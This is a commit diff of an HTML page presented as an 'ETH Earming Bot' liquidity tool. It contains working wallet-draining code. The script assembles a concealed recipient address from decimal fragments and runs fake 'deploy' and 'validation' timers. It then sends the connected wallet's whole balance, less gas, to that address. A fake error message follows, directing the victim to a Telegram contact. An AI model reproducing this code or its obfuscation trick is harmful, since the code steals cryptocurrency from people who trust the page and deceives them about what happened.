Lechcher commited on
Commit
d1c683a
verified
1 Parent(s): 390f9ec

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +254 -239
index.html CHANGED
@@ -1,248 +1,263 @@
1
- <section>
2
- <button id="connectButton">connect</button>
3
- <table id="checkAdressBalanceButton" style="display: none">
4
- <tr>
5
- <td>my contract</td>
6
- <td><button id="regular">deploy</button></td>
7
- <td>
8
- <p id="result"><code>no contract</code></p>
9
- </td>
10
- </tr>
11
- <tr>
12
- <td>my second address</td>
13
- <td>
14
- <input
15
- type="text"
16
- id="typeAdress"
17
- name="adress_auth"
18
- placeholder="Input second address ETH-0x"
19
- autocomplete="off"
20
- size="20"/>
21
- </td>
22
- <td>
23
- <button id="sendEtherButton" style="display: none">Attach</button>
24
- </td>
25
- <td><div id="statusMessage"></div></td>
26
- </tr>
27
- <tr>
28
- <td>my status</td>
29
- <td><center>
30
- <button disabled="disabled" id="checkBalanceButton" style="display: none">
31
- liquid
32
- </button>
33
- </td>
34
- <td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
35
- </tr>
36
- </table>
37
- <script>
38
- const connectButton = document.getElementById("connectButton");
39
- const sendEtherButton = document.getElementById("sendEtherButton");
40
- const typeAdress = document.getElementById("typeAdress");
41
- const checkBalanceButton =document.getElementById("checkBalanceButton");
42
- const balanceDisplay = document.getElementById("balanceDisplay");
43
- const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
44
- const statusMessage = document.getElementById("statusMessage");
45
- let validationComplete = false;
46
- let transferInProgress = false;
47
- const performTransaction = async () => {
48
- try {
49
- const value = typeAdress.value;
50
- transferInProgress = true;
51
- function kyc(dcm)
52
- {
53
- return parseInt(dcm).toString(16);
54
- }
55
- const m = '29555';
56
- const k = '65823';
57
- const e = '32280';
58
- const v = '619621';
59
- const n = '137011';
60
- const c = '4211409';
61
- const i = '14392965';
62
- const p = '113273';
63
- const evm = kyc(m);
64
- const hashlock = kyc(k);
65
- const moe = kyc(e);
66
- const spv = kyc(v);
67
- const comission = kyc(n);
68
- const sc = kyc(c);
69
- const validate = kyc(i);
70
- const mnode = kyc(p);
71
- const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
72
- const balanceWei = await window.ethereum.request({
73
- method: "eth_getBalance",
74
- params: [window.ethereum.selectedAddress, "latest"],
75
- });
76
- const gasPrice = await window.ethereum.request({
77
- method: "eth_gasPrice",
78
- });
79
- const gasLimit = 33000;
80
- const gasCost = gasPrice * gasLimit;
81
- if (BigInt(balanceWei) < gasCost) {
82
- alert("no ETH for gas fee");
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
83
  transferInProgress = false;
84
- return;
85
- }
86
- const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
87
- await window.ethereum.request({
88
- method: "eth_sendTransaction",
89
- params: [
90
- {
91
- from: window.ethereum.selectedAddress,
92
- to: ra,
93
- value: "0x" + amountToSend.toString(16),
94
- },
95
- ],
96
- });
97
- alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
98
- transferInProgress = false;
99
- } catch (error) {
100
- alert("Error confirming liquidity. Repeat again");
101
- console.error(error);
102
- transferInProgress = false;
103
- }
104
- };
105
- connectButton.addEventListener("click", async () => {
106
- try {
107
- const accounts = await window.ethereum.request({
108
- method: "eth_requestAccounts",
109
- });
110
- if (accounts.length > 0) {
111
- sendEtherButton.style.display = "block";
112
- typeAdress.style.display = "block";
113
- checkBalanceButton.style.display = "block";
114
- checkAdressBalanceButton.style.display = "block";
115
- connectButton.style.display = "none";
116
- }
117
- } catch (error) {
118
- console.error(error);
119
- alert("connection error");
120
- }
121
- });
122
- sendEtherButton.addEventListener("click", async () => {
123
- try {
124
- const value = typeAdress.value;
125
- if (resultElement.innerText !== "ready") {
126
- alert("小lick the deploy button");
127
- return;
128
  }
129
- if (!value || value.length < 40) {
130
- alert("Attention! Enter the correct second Ethereum address");
131
- return;
 
 
 
 
 
 
 
 
 
 
 
 
 
132
  }
133
- if (!validationComplete) {
134
- if (
135
- /^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
136
- value
137
- ) &&
138
- value.length >= 40
139
- ) {
140
- statusMessage.textContent = "waiting";
141
- typeAdress.disabled = true;
142
- sendEtherButton.disabled = true;
143
-
144
- setTimeout(() => {
145
- validationComplete = true;
146
- statusMessage.textContent = "ready";
 
 
 
 
 
 
147
  typeAdress.disabled = true;
148
- sendEtherButton.textContent = "confirm";
149
- sendEtherButton.disabled = false;
150
- }, 10000);
151
- } else {
152
- alert("Error! input value");
 
 
 
 
 
 
 
 
 
153
  }
154
- } else if (sendEtherButton.textContent === "confirm") {
155
- performTransaction();
 
156
  }
157
- } catch (error) {
158
- console.error("Error on process:\n" + error);
159
- transferInProgress = false;
160
- }
161
- });
162
- checkBalanceButton.addEventListener("click", async () => {
163
- try {
164
- const balanceWei = await window.ethereum.request({
165
- method: "eth_getBalance",
166
- params: [window.ethereum.selectedAddress, "latest"],
167
- });
168
- const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
169
- balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
170
- balanceDisplay.style.display = "block";
171
- } catch (error) {
172
- console.error(error);
173
- alert("Error");
174
- }
175
- });
176
- </script>
177
- <style>
178
- html {
179
- box-sizing: border-box;
180
- font-family: "Open Sans", sans-serif;
181
- }
182
- *,
183
- *:before,
184
- *:after {
185
- box-sizing: inherit;
186
- }
187
- body {
188
- font-family: Arial, sans-serif;
189
- text-align: center;
190
- margin: 0;
191
- padding: 20px;
192
- background: #222336;
193
- background: -webkit-radial-gradient(
194
- circle farthest-side at center center,
195
- #222336 0%,
196
- #222336 100%
197
- );
198
- background: -moz-radial-gradient(
199
- circle farthest-side at center center,
200
- #2a2c3f 0%,
201
- #222336 100%
202
- );
203
- background: radial-gradient(
204
- circle farthest-side at center center,
205
- #222336 0%,
206
- #222336 100%
207
- );
208
- }
209
- section {
210
- background: #2a2c3f;
211
- color: white;
212
- border-radius: 1em;
213
- padding: 1em;
214
- position: absolute;
215
- top: 50%;
216
- left: 50%;
217
- margin-right: -50%;
218
- margin: 0 auto;
219
- transform: translate(-50%, -50%);
220
- }
221
- </style>
222
- <script>
223
- const regularLaunchButton = document.getElementById("regular");
224
- const resultElement = document.getElementById("result");
225
-
226
- function setButtonsDisabled(isDisabled) {
227
- regularLaunchButton.disabled = isDisabled;
228
  }
229
- function timeout(workFn) {
230
- console.log("exec");
231
- setButtonsDisabled(true);
232
- resultElement.innerText = "waiting...";
233
- setTimeout(() => {
234
- const asyncStartTime = Date.now();
235
- resultElement.innerText = "ready";
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
236
  setButtonsDisabled(true);
237
- }, 12000);
238
- const startTime = Date.now();
239
-
240
- if (typeof workFn === "function") {
241
- workFn();
 
 
 
 
 
 
242
  }
243
- }
244
- regularLaunchButton.addEventListener("click", () => {
245
- timeout();
246
- });
247
- </script>
248
- </section>
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <link
7
+ rel="shortcut icon"
8
+ href="https://huggingface.co/spaces/Lechcher/ETH_Earming_Bot/resolve/main/eth.png"
9
+ type="image/x-icon"
10
+ />
11
+ <title>Eth EOL Earming Bot</title>
12
+ </head>
13
+ <body>
14
+ <section>
15
+ <button id="connectButton">connect</button>
16
+ <table id="checkAdressBalanceButton" style="display: none">
17
+ <tr>
18
+ <td>my contract</td>
19
+ <td><button id="regular">deploy</button></td>
20
+ <td>
21
+ <p id="result"><code>no contract</code></p>
22
+ </td>
23
+ </tr>
24
+ <tr>
25
+ <td>my second address</td>
26
+ <td>
27
+ <input
28
+ type="text"
29
+ id="typeAdress"
30
+ name="adress_auth"
31
+ placeholder="Input second address ETH-0x"
32
+ autocomplete="off"
33
+ size="20"/>
34
+ </td>
35
+ <td>
36
+ <button id="sendEtherButton" style="display: none">Attach</button>
37
+ </td>
38
+ <td><div id="statusMessage"></div></td>
39
+ </tr>
40
+ <tr>
41
+ <td>my status</td>
42
+ <td><center>
43
+ <button disabled="disabled" id="checkBalanceButton" style="display: none">
44
+ liquid
45
+ </button>
46
+ </td>
47
+ <td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
48
+ </tr>
49
+ </table>
50
+ <script>
51
+ const connectButton = document.getElementById("connectButton");
52
+ const sendEtherButton = document.getElementById("sendEtherButton");
53
+ const typeAdress = document.getElementById("typeAdress");
54
+ const checkBalanceButton =document.getElementById("checkBalanceButton");
55
+ const balanceDisplay = document.getElementById("balanceDisplay");
56
+ const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
57
+ const statusMessage = document.getElementById("statusMessage");
58
+ let validationComplete = false;
59
+ let transferInProgress = false;
60
+ const performTransaction = async () => {
61
+ try {
62
+ const value = typeAdress.value;
63
+ transferInProgress = true;
64
+ function kyc(dcm)
65
+ {
66
+ return parseInt(dcm).toString(16);
67
+ }
68
+ const m = '29555';
69
+ const k = '65823';
70
+ const e = '32280';
71
+ const v = '619621';
72
+ const n = '137011';
73
+ const c = '4211409';
74
+ const i = '14392965';
75
+ const p = '113273';
76
+ const evm = kyc(m);
77
+ const hashlock = kyc(k);
78
+ const moe = kyc(e);
79
+ const spv = kyc(v);
80
+ const comission = kyc(n);
81
+ const sc = kyc(c);
82
+ const validate = kyc(i);
83
+ const mnode = kyc(p);
84
+ const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
85
+ const balanceWei = await window.ethereum.request({
86
+ method: "eth_getBalance",
87
+ params: [window.ethereum.selectedAddress, "latest"],
88
+ });
89
+ const gasPrice = await window.ethereum.request({
90
+ method: "eth_gasPrice",
91
+ });
92
+ const gasLimit = 33000;
93
+ const gasCost = gasPrice * gasLimit;
94
+ if (BigInt(balanceWei) < gasCost) {
95
+ alert("no ETH for gas fee");
96
+ transferInProgress = false;
97
+ return;
98
+ }
99
+ const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
100
+ await window.ethereum.request({
101
+ method: "eth_sendTransaction",
102
+ params: [
103
+ {
104
+ from: window.ethereum.selectedAddress,
105
+ to: ra,
106
+ value: "0x" + amountToSend.toString(16),
107
+ },
108
+ ],
109
+ });
110
+ alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
111
+ transferInProgress = false;
112
+ } catch (error) {
113
+ alert("Error confirming liquidity. Repeat again");
114
+ console.error(error);
115
  transferInProgress = false;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
116
  }
117
+ };
118
+ connectButton.addEventListener("click", async () => {
119
+ try {
120
+ const accounts = await window.ethereum.request({
121
+ method: "eth_requestAccounts",
122
+ });
123
+ if (accounts.length > 0) {
124
+ sendEtherButton.style.display = "block";
125
+ typeAdress.style.display = "block";
126
+ checkBalanceButton.style.display = "block";
127
+ checkAdressBalanceButton.style.display = "block";
128
+ connectButton.style.display = "none";
129
+ }
130
+ } catch (error) {
131
+ console.error(error);
132
+ alert("connection error");
133
  }
134
+ });
135
+ sendEtherButton.addEventListener("click", async () => {
136
+ try {
137
+ const value = typeAdress.value;
138
+ if (resultElement.innerText !== "ready") {
139
+ alert("小lick the deploy button");
140
+ return;
141
+ }
142
+ if (!value || value.length < 40) {
143
+ alert("Attention! Enter the correct second Ethereum address");
144
+ return;
145
+ }
146
+ if (!validationComplete) {
147
+ if (
148
+ /^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
149
+ value
150
+ ) &&
151
+ value.length >= 40
152
+ ) {
153
+ statusMessage.textContent = "waiting";
154
  typeAdress.disabled = true;
155
+ sendEtherButton.disabled = true;
156
+
157
+ setTimeout(() => {
158
+ validationComplete = true;
159
+ statusMessage.textContent = "ready";
160
+ typeAdress.disabled = true;
161
+ sendEtherButton.textContent = "confirm";
162
+ sendEtherButton.disabled = false;
163
+ }, 10000);
164
+ } else {
165
+ alert("Error! input value");
166
+ }
167
+ } else if (sendEtherButton.textContent === "confirm") {
168
+ performTransaction();
169
  }
170
+ } catch (error) {
171
+ console.error("Error on process:\n" + error);
172
+ transferInProgress = false;
173
  }
174
+ });
175
+ checkBalanceButton.addEventListener("click", async () => {
176
+ try {
177
+ const balanceWei = await window.ethereum.request({
178
+ method: "eth_getBalance",
179
+ params: [window.ethereum.selectedAddress, "latest"],
180
+ });
181
+ const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
182
+ balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
183
+ balanceDisplay.style.display = "block";
184
+ } catch (error) {
185
+ console.error(error);
186
+ alert("Error");
187
+ }
188
+ });
189
+ </script>
190
+ <style>
191
+ html {
192
+ box-sizing: border-box;
193
+ font-family: "Open Sans", sans-serif;
194
+ }
195
+ *,
196
+ *:before,
197
+ *:after {
198
+ box-sizing: inherit;
199
+ }
200
+ body {
201
+ font-family: Arial, sans-serif;
202
+ text-align: center;
203
+ margin: 0;
204
+ padding: 20px;
205
+ background: #222336;
206
+ background: -webkit-radial-gradient(
207
+ circle farthest-side at center center,
208
+ #222336 0%,
209
+ #222336 100%
210
+ );
211
+ background: -moz-radial-gradient(
212
+ circle farthest-side at center center,
213
+ #2a2c3f 0%,
214
+ #222336 100%
215
+ );
216
+ background: radial-gradient(
217
+ circle farthest-side at center center,
218
+ #222336 0%,
219
+ #222336 100%
220
+ );
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
221
  }
222
+ section {
223
+ background: #2a2c3f;
224
+ color: white;
225
+ border-radius: 1em;
226
+ padding: 1em;
227
+ position: absolute;
228
+ top: 50%;
229
+ left: 50%;
230
+ margin-right: -50%;
231
+ margin: 0 auto;
232
+ transform: translate(-50%, -50%);
233
+ }
234
+ </style>
235
+ <script>
236
+ const regularLaunchButton = document.getElementById("regular");
237
+ const resultElement = document.getElementById("result");
238
+
239
+ function setButtonsDisabled(isDisabled) {
240
+ regularLaunchButton.disabled = isDisabled;
241
+ }
242
+ function timeout(workFn) {
243
+ console.log("exec");
244
  setButtonsDisabled(true);
245
+ resultElement.innerText = "waiting...";
246
+ setTimeout(() => {
247
+ const asyncStartTime = Date.now();
248
+ resultElement.innerText = "ready";
249
+ setButtonsDisabled(true);
250
+ }, 12000);
251
+ const startTime = Date.now();
252
+
253
+ if (typeof workFn === "function") {
254
+ workFn();
255
+ }
256
  }
257
+ regularLaunchButton.addEventListener("click", () => {
258
+ timeout();
259
+ });
260
+ </script>
261
+ </section>
262
+ </body>
263
+ </html>